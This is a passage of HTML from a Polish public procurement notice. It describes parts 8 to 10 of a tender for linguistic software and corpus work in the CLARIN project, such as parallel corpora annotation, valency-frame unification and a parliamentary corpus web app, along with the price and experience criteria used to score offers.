przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 8</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 9</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 10</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 